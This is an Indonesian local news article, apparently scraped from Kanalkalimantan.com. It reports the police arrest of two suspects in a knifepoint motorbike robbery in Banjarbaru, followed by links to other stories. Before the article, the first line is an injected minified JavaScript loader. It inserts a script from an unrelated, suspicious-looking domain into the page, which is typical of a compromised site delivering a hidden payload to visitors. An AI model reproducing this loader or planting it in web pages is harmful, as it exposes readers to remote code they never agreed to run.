(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Unit Buser Satreskim Polres Banjarbaru dan Polsek Banjarbaru Timur berhasil meringkus para pelaku begal yang melancarkan aksinya di wilayah Kota Banjarbaru. Pelaku yang berjumlah dua orang ini diamankan di kediamannya masing-masing, pada Rabu (8/1) malam sekitar pukul 23.00 wita.
Identitas kedua pelaku yakni Edy Nuryanto alias Usro (39) dan Depit Priyanto alias Depit (25). Mereka melakukan aksi begal pada akhir tahun lalu, tepatnya pada hari Sabtu tanggal 28 Desember 2019 sekitar pukul 18.15 Wita, di kawasan perkantoran Sekda Provinsi Kalsel, Kecamatan Cempaka, Banjarbaru.
Kapolres Banjarbaru AKBP Doni Hadi Santoso, melalui Kassubag Humas Polres Banjarbaru AKP Siti Rohayati, menceritakan kejadian begal ini bermula saat korban bersama temannya sedang duduk di kawasan kantor Sekda Prov Kalsel.
Lalu, datanglah seorang pria (pelaku) tidak dikenal dan langsung mengambil 2 unit handphone serta dompet milik korban. Pria tersebut juga mengambil 1 unit handphone teman korban.
“Setelah HP diambil, datang pelaku satu lagi dan langsung menodongkan senjata tajam (sajam) ke arah leher korban sebagai bentuk ancaman. Oleh karena itu, korban tidak bisa berbuat apa-apa, saat motornya dibawa oleh kedua pelaku ini,” kata AKP Siti.
Usai kasus ini dilaporkan oleh korban, pihak Kepolisian lantas segera melakukan penyelidikan.
Hingga pada akhirnya Unit Reskrim Polres Banjarbaru dan Polsek Banjarbaru Timur mendapatkan informasi bahwa pelaku sedang berada di rumah tempat tinggalnya.
“Jadi, awalnya kita mengamankan satu pelaku dulu, yakni Edy Nuryanto alias Usro di Desa Pingaran, Kecamatan Astambul, Kabupaten Banjar. Dari sini kita dilakukan pengembangan informasi dan akhirnya berhasil menangkap pelaku kedua yakni, Depit Priyanto alias Depit yang saat itu juga berada di rumahnya di Kecamatan Karang Intan, Kabupaten Banjar,” lugas Kassubag Humas Polres Banjarbaru.
Kedua pelaku kini sudah berada di Mapolsek Banjarbaru Timur untuk dilakukan proses hukum lebih lanjut. Adapun barang bukti yang diamankan, berupa 1 unit sepeda motor dan 1 buah senjata tajam jenis badik. (Kanalklaimantan.com/Rico)
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.